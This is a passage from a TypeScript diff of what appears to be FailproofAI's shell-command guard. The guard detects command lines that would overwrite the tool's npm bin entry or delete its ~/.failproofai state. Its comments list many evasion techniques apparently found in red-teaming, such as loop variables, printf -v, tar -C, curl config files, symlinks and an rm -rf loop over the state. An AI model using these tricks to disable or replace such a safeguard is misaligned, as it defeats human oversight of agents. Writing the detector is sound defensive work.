value); + values.set(name, found[found.length - 1]); + }; + // What a glob word expands to on disk from `base`, as the shell expands + // it; `null` past GLOB_DISK_LIMIT paths or from a directory the walk lost. + const globPaths = (base: Where, word: string): string[] | null => { + const absolute = word.startsWith("/") + ? word + : word === "~" || word.startsWith("~/") + ? homedir() + word.slice(1) + : !base.lost && base.full?.startsWith("/") + ? `${base.full}/${word}` + : undefined; + return absolute === undefined ? null : expandOnDisk("/", absolute.slice(1)); + }; + // A loop's variable takes each value its list gives as the shell expands + // it: `for d in out bins; do cp stub $d/failproofai; done` writes through + // `bins`, and `for f in many/*` through every link the pattern matches + // (found by hermes on FailproofAI/failproofai#1058). Past MAX_LOOP_VALUES, + // only the values that may reach what is protected are kept. + const loopValues = (name: string, list: string) => { + const found: string[] = []; + let plain = 0; + const take = (value: string, reaches: boolean) => { + if (found.includes(value) || (!reaches && plain++ >= MAX_LOOP_VALUES)) return; + found.push(value); + }; + const nameReaches = (path: string): boolean => /failproof/i.test(path) || couldBeEntryName(path.slice(path.lastIndexOf("/") + 1)); + const linked = (path: string): boolean => { + const cut = path.lastIndexOf("/"); + return linkNamesIn(path.slice(0, cut)).includes(path.slice(cut + 1)); + }; + for (const { raw } of shellWords(list)) { + const word = bareTokenForState(raw); + if (word === "" || word === "do") continue; + for (const each of [expand(word), ...variantsOf(word)]) { + if (!GLOB_METACHAR_RE.test(each) || /[$`]/.test(each)) { + take(each, nameReaches(each) || isBinDir(each) || landsOnState(each)); + continue; + } + const matches = globPaths(at, each); + if (matches === null) { + // Too many names to read one by one: in one directory, only its + // links and the entry reach anywhere else. + const cut = each.lastIndexOf("/"); + const part = each.slice(cut + 1); + const directory = cut === -1 ? "." : each.slice(0, cut) || "/"; + if (GLOB_METACHAR_RE.test(directory)) throw new Error("a loop runs over more paths than the walk reads"); + for (const { real } of realPathsOf(directory)) { + if (typeof real !== "string") throw new Error("a loop runs over more paths than the walk reads"); + const dir = real === "/" ? "" : real; + const links = linksMatching(dir, part); + if (links === null) throw new Error("a loop runs over more paths than the walk reads"); + for (const link of links) take(link, true); + const re = wholeGlob(part); + for (const entry of NPX_ENTRY_NAMES) if (re?.test(entry) && present(`${dir}/${entry}`)) take(`${dir}/${entry}`, true); + } + continue; + } + if (matches.length === 0) take(each, nameReaches(each)); + for (const match of matches) take(match, nameReaches(match) || (linked(match) && (landsOnState(match) || isBinDir(match)))); + } + } + setVariable(name, found); + }; + // `read`, `printf -v`, `mapfile` and `unset`, which set a variable without + // `=`: `read D <<< bins` gives `D` the here-string, and a value read from a + // file or a pipe is one the walk cannot know. + const setByBuiltin = (head: string, words: string[], simple: string) => { + if (head === "read") { + const names: string[] = []; + for (let k = 1; k < words.length; k++) { + if (/^-[A-Za-z]*[adinNptu]$/.test(words[k])) { + if (words[k].endsWith("a")) names.push(words[k + 1] ?? ""); + k++; + } else if (!words[k].startsWith("-")) names.push(words[k]); + } + const here = /<<<\s*("[^"]*"|'[^']*'|\S+)/.exec(simple); + const text = here === null ? undefined : expand(bareTokenForState(here[1])); + const fields = text?.split(/[ \t\n]+/).filter((field) => field !== "") ?? []; + names.forEach((name, index) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(name)) return; + if (text === undefined) setVariable(name, []); + else setVariable(name, [index === names.length - 1 ? fields.slice(index).join(" ") : (fields[index] ?? "")]); + }); + if (names.length === 0) setVariable("REPLY", text === undefined ? [] : [text]); + } else if (head === "printf" && words[1] === "-v" && words[2] !== undefined) { + const format = expand(words[3] ?? ""); + const args = words.slice(4).map(expand); + // bash reuses the format until every argument is used (`printf -v D + // '%s' ho ok` is `hook`; found by hermes on FailproofAI/failproofai#1058). + // Numbers are converted as bash converts them (`%d` of `0x10` is `16`; + // found by hermes on FailproofAI/failproofai#1058); a form this does not + // compute leaves the variable unknown. + const value = bashPrintf(format, args); + // Unquoted, a value with spaces splits into words (`%2d` of 16 is ` 16`): + // each is a value the variable may stand for. + const fields = value === null ? [] : value.split(/\s+/).filter((field) => field !== "" && field !== value); + setVariable(words[2], value === null || /\\/.test(value) ? ["$(printf)"] : [value, ...fields]); + } else if (head === "mapfile" || head === "readarray") { + const named = words.slice(1).filter((word, k, all) => !word.startsWith("-") && !/^-[A-Za-z]*[dnOsuC]$/.test(all[k - 1] ?? "")); + setVariable(named[named.length - 1] ?? "MAPFILE", []); + } else if (head === "unset") { + for (const word of words.slice(1)) if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(word)) setVariable(word, []); + } + }; + // A copy, move or link into a directory the walk cannot read puts each + // source there by its own name: `D=$(npm root)/.bin; cp stub/failproofai $D`. + const copiesIntoUnread = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + if (!COPY_COMMANDS.has(head) && head !== "mv" && head !== "ln") return false; + const operands = list.slice(1).filter((arg) => !arg.startsWith("-")); + if (operands.length < 2 || !new RegExp(UNREAD_VALUE_RE.source).test(operands[operands.length - 1])) return false; + return operands.slice(0, -1).some((source) => couldBeEntryName(baseNameOf(source))); + }; + // What a sed script read from a file writes (`sed -n -f s.sed in`, the + // script holding `w hook`): the script as it is on disk, and one the walk + // cannot read (not there yet, standard input, or not a small regular file) + // is read as writing what is protected. + const sedScriptWrites = (args: string[]): boolean => + sedScriptFiles(args).some((file) => { + const text = instructionsIn(file); + return text === null || sedWriteTargets([text]).some(namesHere); + }); + // A file a command takes what it does from, as it is on disk where the + // shell stands; `null` for one the walk cannot read: standard input, one + // not there yet, or one that is not a small regular file. + const instructionsIn = (file: string): string | null => { + const path = file === "-" || file === "" ? undefined : absoluteFrom(at, file); + if (path === undefined) return null; + try { + const info = statSync(path.raw); + if (!info.isFile() || info.size > MAX_INSTRUCTION_FILE_BYTES) return null; + return readFileSync(path.raw, "utf8"); + } catch { + return null; + } + }; + // A patch applied from a file writes every file it names (`patch -p1 < + // stub.patch`, `patch -i stub.patch`, `git apply stub.patch`), each read + // with up to three leading directories stripped, as `-p` may, and from the + // directory `-d` / `--directory` names. One the walk cannot read, from a + // pipe or not there yet, is read as writing what is protected. + const patchFileWrites = (list: string[], simple: string): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + const files: string[] = []; + const into: string[] = [""]; + if (head === "patch") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "-i" || arg === "--input") files.push(args[++k] ?? ""); + else if (arg.startsWith("--input=")) files.push(arg.slice(8)); + else if (/^-i./.test(arg)) files.push(arg.slice(2)); + else if (arg === "-d" || arg === "--directory") into.push(args[++k] ?? ""); + else if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (/^-d./.test(arg)) into.push(arg.slice(2)); + } + if (files.length === 0) { + const redirected = /(?:^|[^<])<(?![<(])\s*("[^"]*"|'[^']*'|[^\s<>|&;]+)/.exec(simple); + files.push(redirected === null ? "-" : bareTokenForState(redirected[1])); + } + } else if (head === "git") { + const subcommand = gitSubcommandIndex(args); + if (subcommand < 0 || (args[subcommand] !== "apply" && args[subcommand] !== "am")) return false; + for (const arg of args.slice(subcommand + 1)) { + if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (!arg.startsWith("-")) files.push(arg); + } + if (files.length === 0) files.push("-"); + } else return false; + for (const file of files) { + const text = instructionsIn(file); + if (text === null) return true; + for (const target of patchTargets({ patch: text })) { + const parts = target.split("/"); + for (let strip = 0; strip <= Math.min(3, parts.length - 1); strip++) { + const rest = parts.slice(strip).join("/"); + if (into.some((dir) => namesHere(dir === "" ? rest : `${dir.replace(/\/+$/, "")}/${rest}`))) return true; + } + } + } + return false; + }; + // An archive extracted into npm's bin directory puts there names the line + // never spells: `tar -xf stub.tar -C bins`, `cd bins && unzip ../stub.zip`. + const extractsIntoBin = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + let into = "."; + // tar takes each `-C` from the directory the one before it left, and a + // member goes to the `-C` before it on the line, so every one is a place + // the archive may write (`-C bins failproofai -C out other`; found by + // hermes on FailproofAI/failproofai#1058). + const intos: string[] = []; + const changeDir = (dir: string) => { + if (dir === "") return; + const previous = intos[intos.length - 1]; + intos.push(dir); + if (previous !== undefined && previous !== "." && !dir.startsWith("/") && !dir.startsWith("~")) intos.push(`${previous.replace(/\/+$/, "")}/${dir}`); + }; + let extracting = false; + if (head === "tar" || head === "gtar" || head === "bsdtar") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 3 && "directory".startsWith(name)) changeDir(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); + else if (name.length >= 3 && ("extract".startsWith(name) || name === "get")) extracting = true; + continue; + } + // The old form (`xzf` first, no dash): its value letters take the + // words after it in order. + if (!arg.startsWith("-")) { + if (k > 0) continue; + if (arg.includes("x")) extracting = true; + for (const letter of arg) { + if (letter === "C") changeDir(args[++k] ?? ""); + else if (TAR_SHORT_VALUE_OPTIONS.includes(letter)) k++; + } + continue; + } + // A dashed cluster, as getopt reads it: a letter that takes a value + // takes the rest of the cluster, or the next word when none is left + // (`-Cbins`, `-xfstub.tar`; found by hermes on FailproofAI/failproofai#1058). + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "x") extracting = true; + if (letter !== "C" && !TAR_SHORT_VALUE_OPTIONS.includes(letter)) continue; + const value = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + if (letter === "C") changeDir(value); + break; + } + } + } else if (head === "unzip") { + extracting = true; + const option = args.indexOf("-d"); + if (option !== -1) into = args[option + 1] ?? into; + } else if (head === "cpio") { + extracting = args.some((arg) => /^-[A-Za-z]*i/.test(arg) || arg === "--extract"); + } else if (head === "7z" || head === "7za" || head === "7zz") { + extracting = args[0] === "x" || args[0] === "e"; + const out = args.find((arg) => arg.startsWith("-o")); + if (out !== undefined) into = out.slice(2); + } + if (!extracting) return false; + const places = intos.length > 0 ? [into, ...intos] : [into]; + return places.some((place) => isBinDir(place === "" ? "." : place)); + }; + // curl reads options from `-K FILE` / `--config FILE` as if they were on + // the line, so they are read onto it; one it cannot read is refused. A + // short-option cluster is read the way curl's parser reads it: `K` takes + // the rest of the cluster or the next word (`-sKinner.cfg`), and a letter + // that takes a value before it makes the `K` part of that value (`-oK`). A + // config may name another (`config = inner.cfg`), which is read in turn, + // MAX_CURL_CONFIG_DEPTH deep and MAX_INSTRUCTION_FILE_BYTES in all (found by + // hermes on FailproofAI/failproofai#1058). + const withCurlConfig = (list: string[]): string[] | null => { + if (list.length === 0 || commandBasename(list[0]) !== "curl") return list; + let bytes = 0; + const expandArgs = (args: string[], depth: number): string[] | null => { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + let file: string | undefined; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 4 && "config".startsWith(name)) file = eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1); + } else if (/^-[^-]/.test(arg)) { + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "K") { + if (i > 1) out.push(arg.slice(0, i)); + file = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + break; + } + if (CURL_SHORT_VALUE_OPTIONS.includes(letter)) break; + } + } + if (file === undefined) { + out.push(arg); + continue; + } + if (depth >= MAX_CURL_CONFIG_DEPTH) return null; + const text = instructionsIn(file); + if (text === null) return null; + bytes += text.length; + if (bytes > MAX_INSTRUCTION_FILE_BYTES) return null; + const nested = expandArgs(curlConfigArgs(text), depth + 1); + if (nested === null) return null; + out.push(...nested); + } + return out; + }; + const expanded = expandArgs(list.slice(1), 0); + return expanded === null ? null : [list[0], ...expanded]; + }; + // A written word that still holds a value the walk cannot read — a + // substitution, or a variable set from what it cannot read or never set — + // could be anything there: `D=$(echo bins); cp stub $D/failproofai`. It + // lands on the entry or the state when what follows the last such value + // could, as if from anywhere npm installs (`$D/failproofai`), or when the + // name itself is unread and could be the entry, in a directory that is, or + // may be, npm's bin directory (`bins/$N`, `bins/${N}proofai`). + const unreadLands = (written: string): boolean => { + if (!/[$`]/.test(written)) return false; + const marked = written.replace(UNREAD_VALUE_RE, (piece) => (piece.startsWith("$((") ? "0" : "\u0000")); + if (!marked.includes("\u0000")) return false; + const tail = marked.slice(marked.lastIndexOf("\u0000") + 1).replace(/^[\\/]+/, ""); + if (tail !== "" && lostNamesState({ via: "", lost: tail })) return true; + const trimmed = marked.replace(/[\\/]+$/, ""); + const cut = trimmed.lastIndexOf("/"); + const component = trimmed.slice(cut + 1); + if (!component.includes("\u0000") || !couldBeEntryName(component.replaceAll("\u0000", "*"))) return false; + // A name that is wholly unread, in a directory that is too, is any path + // at all, as `> "$OUT"` is: only what the line spells can be judged. + const partial = component !== "\u0000"; + const directory = cut === -1 ? "." : trimmed.slice(0, cut) || "/"; + if (directory.includes("\u0000")) return partial; + return isBinDir(directory) || (partial && anywhereHere() && relativeWord(directory)); + }; + // `named` is the operand as written, judged when the walk cannot follow it. + // A `physical` move (`cd -P`, or any `cd` after `set -P`) goes where the path + // really is, each link followed and each `..` taken after it: with `deep` a + // link to `node_modules/.bin/sub`, `cd -P deep/..` stands in `.bin`, which + // collapsing `..` as text read as the directory it started from (found by + // hermes on FailproofAI/failproofai#1058). + const whereAfter = (base: Where, target: string, named: string, physical = false): Where => { + if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + const relative = relativeWord(target); + if (relative && base.lost) { + return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + } + const homeBased = target === "~" || target.startsWith("~/"); + let full: string | undefined = !relative + ? target.startsWith("/") + ? shellPath(undefined, target) + : homeBased + ? shellPath(undefined, homedir() + target.slice(1)) + : undefined + : base.full !== undefined + ? shellPath(base.full === "." ? undefined : base.full, target) || "." + : undefined; + if (physical) { + const raw = !relative + ? target.startsWith("/") + ? target + : homeBased + ? homedir() + target.slice(1) + : undefined + : base.full?.startsWith("/") + ? `${base.full}/${target}` + : undefined; + if (raw !== undefined) { + const real = realPath(raw); + if (typeof real !== "string") return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + full = real; + } + } + // `~user` and a `cd` from a directory too deep to keep are read from `dir`. + const fromDir = shellPath(relative ? base.dir : undefined, target); + let deep = relative && base.deep; + if (full !== undefined && full.length > FULL_DIR_SEGMENTS && full.split("/").length > FULL_DIR_SEGMENTS) { + full = undefined; + deep = true; + } + const kept = full !== undefined ? (full === "." ? undefined : shellTail(full)) : shellTail(fromDir); + // Inside the state: going further down from inside stays inside, so only a + // move that names a new path or climbs out reads the whole path again. + const climbs = /(?:^|\/)\.\.(?:\/|$)/.test(target); + const inState = + namesState(named) || + (kept !== undefined && namesState(kept)) || + (relative && !climbs + ? base.inState + : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); + return { dir: kept, full, deep, lost: false, inState, anywhere: relative && base.anywhere }; + }; + // Moves the shell to `to`, and anywhere else it may stand to `others`. If + // the move fails, it stays wherever it was, which `pending` keeps — unless + // it returns somewhere the shell has already stood (`popd`, `cd -`, the + // session's own directory), which exists. + const moveTo = (to: Where, others: Where[] = [], certain = false) => { + if (sameWhere(to, at) && alts.length === 0) return; + previous = at; + if (!certain) pending = fold([...pending, at, ...alts], 2 * MAX_ALTERNATE_DIRS); + at = to; + alts = possible(others); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; + }; + // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on + // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the + // shell where it was, never somewhere safe. `+N` / `-N` count entries the + // way `dirs` lists them: the current directory first, then the stack from + // its top, and `-n` changes the stack without moving. `cd -` is `$OLDPWD` and + // a bare `cd` is `$HOME`, either of which the line may set itself. + const moveShell = (head: string, args: string[], expandedArgs: string[]) => { + const stackOnly = head !== "cd" && args.includes("-n"); + const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + // `cd -P` and `-L`, the last one given winning; `pushd` follows `set -P`. + let physical = physicalMoves; + if (head === "cd") { + for (const option of args.slice(0, k === -1 ? args.length : k)) { + if (!/^-[A-Za-z@]+$/.test(option)) continue; + for (const flag of option.slice(1)) { + if (flag === "P") physical = true; + else if (flag === "L") physical = false; + } + } + } + const named = k === -1 ? undefined : args[k]; + const operand = k === -1 ? undefined : expandedArgs[k]; + if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { + const entries = [at, ...[...dirStack].reverse()]; + const n = Number(operand.slice(1)); + const index = operand.startsWith("+") ? n : entries.length - 1 - n; + if (index < 0 || index >= entries.length || stackOnly) return; + if (head === "pushd") { + const rotated = [...entries.slice(index), ...entries.slice(0, index)]; + dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); + moveTo(rotated[0], [], true); + } else if (entries.length > 1) { + const rest = entries.filter((_, i) => i !== index); + dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); + if (index === 0) moveTo(rest[0], [], true); + } + return; + } + if (head === "popd") { + const top = dirStack.pop(); + if (top && !stackOnly) moveTo(top, [], true); + return; + } + if (head === "pushd" && operand === undefined) { + if (stackOnly) return; + const top = dirStack.pop(); + if (top) { + dirStack.push(at); + moveTo(top, [], true); + } + return; + } + if (operand === "-") { + const oldpwd = values.get("OLDPWD"); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd, physical)); + else if (previous) moveTo(previous, [], true); + return; + } + if (operand === "") return; + let target = operand ?? expand("$HOME"); + // A pattern is the directory it matches on disk, and this line's links + // (`ln -s ../node_modules/.bin out/b && cd out/b*`). Matching none, the + // `cd` fails and the shell stays; matching several, bash 4.4 and later + // fail and older ones take the first, which a move that may fail covers. + if (GLOB_METACHAR_RE.test(target) && !/[$`]/.test(target)) { + const matches = globPaths(at, target); + if (matches !== null && matches.length === 0) return; + target = matches?.[0] ?? "$(unknown)"; + } + const to = whereAfter(at, target, named ?? target, physical); + if (stackOnly) { + dirStack.push(to); + return; + } + if (head === "pushd") dirStack.push(at); + // Wherever else the shell may stand moves too, the same way, and to each + // other value the operand may hold: `D=bins; (D=out); cd $D` stands in + // `bins` (found by hermes on FailproofAI/failproofai#1058). + const others = named === undefined ? [] : variantsOf(named); + moveTo( + to, + [ + ...alts.map((where) => whereAfter(where, target, named ?? target, physical)), + ...others.flatMap((other) => [at, ...alts].map((where) => whereAfter(where, other, named ?? other, physical))), + ], + startFull.startsWith("/") && to.full === startFull, + ); + }; + // `ln -s … `, in every form GNU ln takes: `-t DIR` + // in any spelling, a last operand that is a directory (`.`, `dir/`, one on + // disk, or a link to one unless `-n`), several targets into one directory, + // and `-r`, which reads each target from where the shell stands rather than + // from the link. `ln -s node_modules/.bin/failproofai .` made `./failproofai` + // a link to the entry while the walk recorded the directory itself. Each link + // is keyed by where it really is, its parent resolved through every link + // before it, so a later write through it on the same line lands where it would. + const LN_OPTIONS = INTO_DIRECTORY_OPTIONS.get("ln")!; + const baseNameOf = (word: string): string => { + const trimmed = word.replace(/[\\/]+$/, ""); + return trimmed.slice(trimmed.lastIndexOf("/") + 1); + }; + // Where a link written as `word` from `base` goes: its parent resolved, its + // own name not followed, as `symlink()` creates it. + const linkPlace = (base: Where, word: string): string | undefined => { + const path = absoluteFrom(base, word.replace(/[\\/]+$/, "") || word); + if (path === undefined) return undefined; + const cut = path.raw.replace(/\/+$/, "").lastIndexOf("/"); + const parent = realPath(path.raw.slice(0, cut) || "/"); + const name = path.raw.replace(/\/+$/, "").slice(cut + 1); + if (typeof parent !== "string" || name === "" || name === "." || name === "..") return undefined; + return `${parent === "/" ? "" : parent}/${name}`; + }; + // Whether `word` is a directory for `ln` to put links into: on disk, or a + // link this line made to one, followed unless `-n`. `undefined` when it does + // not exist yet, which a `mkdir` earlier on the line may change. + const linksInto = (base: Where, word: string, noDereference: boolean): boolean | undefined => { + if (/[\\/]$/.test(word) || word === "." || word === ".." || /[\\/]\.\.?$/.test(word)) return true; + const place = linkPlace(base, word); + if (place === undefined) return false; + if (links.has(place)) { + if (noDereference) return false; + const real = realPath(place); + if (typeof real !== "string") return true; + try { + return statSync(real).isDirectory(); + } catch { + return undefined; + } + } + try { + return (noDereference ? lstatSync(place) : statSync(place)).isDirectory(); + } catch { + return undefined; + } + }; + const recordLink = (args: string[]): void => { + let symbolic = false; + let fromShell = false; + let noDereference = false; + let ontoItself = false; + let directory: string | undefined; + const operands: string[] = []; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const option = longOptionOf(LN_OPTIONS, arg.slice(2, eq === -1 ? undefined : eq)); + if (option?.full === "target-directory") directory = eq === -1 ? args[++i] : arg.slice(eq + 1); + else if (option?.value) i += eq === -1 ? 1 : 0; + else if (option?.full === "symbolic") symbolic = true; + else if (option?.full === "relative") fromShell = true; + else if (option?.full === "no-dereference") noDereference = true; + else if (option?.full === "no-target-directory") ontoItself = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (LN_OPTIONS.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t") directory = value; + break; + } + if (flag === "s") symbolic = true; + else if (flag === "r") fromShell = true; + else if (flag === "n") noDereference = true; + else if (flag === "T") ontoItself = true; + } + continue; + } + operands.push(arg); + } + if (!symbolic || operands.length === 0) return; + for (const base of [at, ...alts]) { + const placed: Array<[string | undefined, string]> = []; + if (directory !== undefined) { + for (const target of operands) placed.push([linkPlace(base, `${directory}/${baseNameOf(target)}`), target]); + } else if (operands.length === 1) { + placed.push([linkPlace(base, baseNameOf(operands[0])), operands[0]]); + } else { + const last = operands[operands.length - 1]; + const targets = operands.slice(0, -1); + const into = targets.length > 1 ? true : ontoItself ? false : linksInto(base, last, noDereference); + // Into the directory, or the operand itself; both when it does not + // exist yet, since the line may have made it. + if (into !== false) for (const target of targets) placed.push([linkPlace(base, `${last.replace(/[\\/]+$/, "")}/${baseNameOf(target)}`), target]); + if (into !== true) placed.push([linkPlace(base, last), targets[0]]); + } + for (const [place, written] of placed) { + if (place === undefined || written === undefined) continue; + let target = written === "~" || written.startsWith("~/") ? homedir() + written.slice(1) : written; + // `-r` reads the target from where the shell stands. + if (fromShell && relativeWord(target) && !/[$`]/.test(target)) { + const fromHere = absoluteFrom(base, target); + if (fromHere === undefined) continue; + target = fromHere.raw; + } + links.set(place, target); + } + } + // Every path resolved so far may now run through one of these. + realPaths.clear(); + directoryWalks.clear(); + }; + + // A loop header hands its word list to the body, and the body is a separate + // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do + // rm -rf $f; done` is a header that only expands and a body that only deletes + // something called `$f`. + let loopCarriesState = false; + const parts = splitUnquoted(command, PIPELINE_SEPARATORS); + for (let part = 0; part < parts.length; part += 2) { + const pipeline = parts[part]; + // A move the next command does not depend on may have failed, so from + // there on the directory before it is possible too. + if (part > 0 && parts[part - 1] !== "&&" && pending.length > 0) { + alts = possible([...pending, ...alts]); + pending = []; + } + if (!pipeline.trim()) continue; + // `declare -n R=D` makes `R` a name for `D`, read through it. + const namerefs = new Map(); + for (const [, name, target] of pipeline.matchAll(NAMEREF_RE)) namerefs.set(name, target); + // A value is what the shell stores: its references read when it is + // assigned, each with every value it may hold, so `A=bins; (A=out); + // B=$A` gives `B` both (found by hermes on FailproofAI/failproofai#1058). + for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) { + let bare = value.replace(/^["']|["']$/g, ""); + // A substitution with a space in it arrives cut short (`$(echo`): its + // value is one the walk cannot read, whole. + if ((bare.match(/\$\(/g) ?? []).length > (bare.match(/\)/g) ?? []).length || (bare.match(/`/g) ?? []).length % 2 === 1) bare = "$(…)"; + const target = namerefs.get(name); + const now = target !== undefined ? `\${${target}}` : expand(bare); + const others = target !== undefined ? [] : variantsOf(bare); + if (values.has(name)) assigned(name, values.get(name)!); + values.set(name, now); + assigned(name, now); + for (const other of others) assigned(name, other); + } + // A loop's variable takes each value its list gives, and `read`, + // `printf -v` and `mapfile` set one too. + const loop = LOOP_VARIABLE_RE.exec(pipeline.trim()); + if (loop !== null) loopValues(loop[1], loop[2] ?? ""); + const simpleCommands = splitUnquoted(pipeline, /\|/).filter((_, k) => k % 2 === 0); + const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; + if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; + if (/(?:^|\s)done(?:\s|$)/.test(pipeline)) loopCarriesState = false; + + // A redirect is a write with no command in front of it — `> path` empties a + // file on its own. Only a redirect whose TARGET is the state counts: the + // previous version matched any `>` anywhere in the segment, so + // `grep -r sudo ~/.failproofai 2>/dev/null` and + // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is + // exactly the diagnosis this guard must not block. + for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { + const written = target.replace(/^["']|["']$/g, ""); + if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; + if (sweepWritesEntry(written) || sweepWritesEntry(expand(written)) || unreadLands(expand(written))) return true; + if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; + if (variantsOf(written).some((variant) => namesHere(variant) || (anywhereHere() && plantsAnywhere(variant)))) return true; + } + + for (const simple of simpleCommands) { + // Parentheses inside quotes or escaped open and close nothing, and a + // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); + parenDepth += (shellText.match(/\(/g) ?? []).length; + const configured = withCurlConfig(commandWordList(simple)); + if (configured === null) return true; + const words = configured; + const expanded = words.map(expand); + const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; + if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { + for (const alt of alts) lists.push(words.map((word) => expandAt(word, alt))); + } + // The line read with each other value a reassigned variable may hold + // that could reach what is protected: the path itself, npm's bin + // directory, or the entry from a directory the agent may not report. + const variantLists: string[][] = []; + for (let k = 1; k < words.length; k++) { + for (const variant of variantsOf(words[k])) { + const reaches = + namesHere(variant) || + NPM_BIN_DIRECTORY_RE.test(variant.replace(/[\\/]+$/, "")) || + isBinDir(variant) || + (anywhereHere() && plantsAnywhere(variant)); + if (!reaches) continue; + if (variantLists.length >= 16) throw new Error("a variable is reassigned too many times to follow"); + variantLists.push(expanded.map((word, j) => (j === k ? variant : word))); + } + } + lists.push(...variantLists); + const head = words.length > 0 ? commandBasename(words[0]) : ""; + if (head === "cd" || head === "pushd" || head === "popd") { + // Every stage of a pipeline runs in a subshell of its own, so a `cd` + // there moves nothing the rest of the line sees. + if (simpleCommands.length === 1) { + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); + } + moveShell(head, words.slice(1), expanded.slice(1)); + } + } else if ( + [at, ...alts].some((base) => + lists.some( + (list) => + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || + // From a directory the agent may have run the line in without + // saying, a copy is also read as written, from somewhere unknown. + (base.anywhere === true && landsInDirectoryAs(list, namesState, (word) => word, true, landsOnState, isBinDir)) || + downloadLandings(list).some(({ dir, name }) => { + const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir) || (base.anywhere === true && relativeWord(dir)); + const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; + return ( + namesState(fromBase(base, landing)) || + landsOnState(landing) || + ((base.lost || base.anywhere === true) && relativeWord(dir) && couldBeEntryName(name)) + ); + }), + ), + ) || + lists.some((list) => writtenOperands(list).some(sweepWritesEntry)) || + writtenOperands(expanded).some(unreadLands) || + copiesIntoUnread(expanded) || + (head === "sed" && lists.some((list) => sedScriptWrites(list.slice(1)))) || + lists.some((list) => patchFileWrites(list, simple) || extractsIntoBin(list)) || + (anywhereHere() && lists.some(writesEntryAnywhere)) + ) { + // Before the `reachesState` gate, because the point is that nothing on + // the line names the path: the source's name and the directory do. + return true; + } else if ( + words.length > 0 && + // Operands only: the command word is a program, not a path written to. + // The line as written is `reachesState`; a word adds to it only by + // resolving from where the shell stands or through a symlink, or by + // what expansion made it. + // Whether the command destroys anything is asked FIRST: both halves + // are pure, and the operand checks below stat every word on disk, so + // a `printf` of 40,000 arguments, which writes none of them, made + // 40,000 lstat calls before being asked. + lists.some((list) => simpleCommandDestroysForState(list, namesHere)) && + (reachesState || + words.some( + (word, k) => + k > 0 && + (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + ) || + // A value glued to its option is a path too, read from where the + // shell stands and through links: `cd node_modules/.bin && curl + // -sofailproofai `, and `curl -sohook ` with `hook` a link + // to the entry (found by hermes on FailproofAI/failproofai#1058). + lists.some((list) => + list.some((word, k) => { + if (k === 0 || !word.startsWith("-")) return false; + const values = gluedOptionValues(head, word); + return values === null || values.some(gluedValueNamesHere); + }), + ) || + variantLists.length > 0 || + // A file a sed script writes, read the same way. + (head === "sed" && lists.some((list) => sedWriteTargets(sedScriptArgs(list.slice(1))).some(namesHere)))) + ) { + // Judged BEFORE the closing parenthesis is counted: a 